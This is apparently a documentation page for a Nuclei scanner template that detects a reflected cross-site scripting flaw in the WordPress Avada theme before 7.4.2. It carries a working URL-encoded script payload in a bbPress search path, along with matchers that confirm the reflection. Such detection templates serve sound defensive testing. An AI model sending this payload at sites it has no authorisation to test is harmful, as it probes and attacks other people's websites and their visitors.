WordPress Avada Website Builder <7.4.2 - Cross-Site Scripting
ID: avada-xss
Severity: high
Author: Akincibor
Tags: xss,wp,wordpress,wp-theme,avada,wpscan
Description
Section titled “Description”WordPress Avada Website Builder prior to 7.4.2 contains a cross-site scripting vulnerability. The theme does not properly escape bbPress searches before outputting them back as breadcrumbs.
YAML Source
Section titled “YAML Source”id: avada-xss
info: name: WordPress Avada Website Builder <7.4.2 - Cross-Site Scripting author: Akincibor severity: high description: WordPress Avada Website Builder prior to 7.4.2 contains a cross-site scripting vulnerability. The theme does not properly escape bbPress searches before outputting them back as breadcrumbs. reference: - https://wpscan.com/vulnerability/eb172b07-56ab-41ce-92a1-be38bab567cb - https://theme-fusion.com/documentation/avada/installation-maintenance/avada-changelog/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 1 tags: xss,wp,wordpress,wp-theme,avada,wpscan
http: - method: GET path: - '{{BaseURL}}/forums/search/z-->%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/'
matchers-condition: and matchers: - type: word part: body words: - '"></script><script>alert(document.domain)</script>' - 'avada-footer-scripts' condition: and
- type: word part: header words: - text/html
- type: status status: - 200# digest: 4a0a0047304502204d359ecd08dfe203a38a0b98eb264a7d0b560f27537b2afb5c791049e572f158022100ec64909ef4501276e2400d8621c5943300061abc1d04302be589dde5751ef286:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/avada-xss.yaml"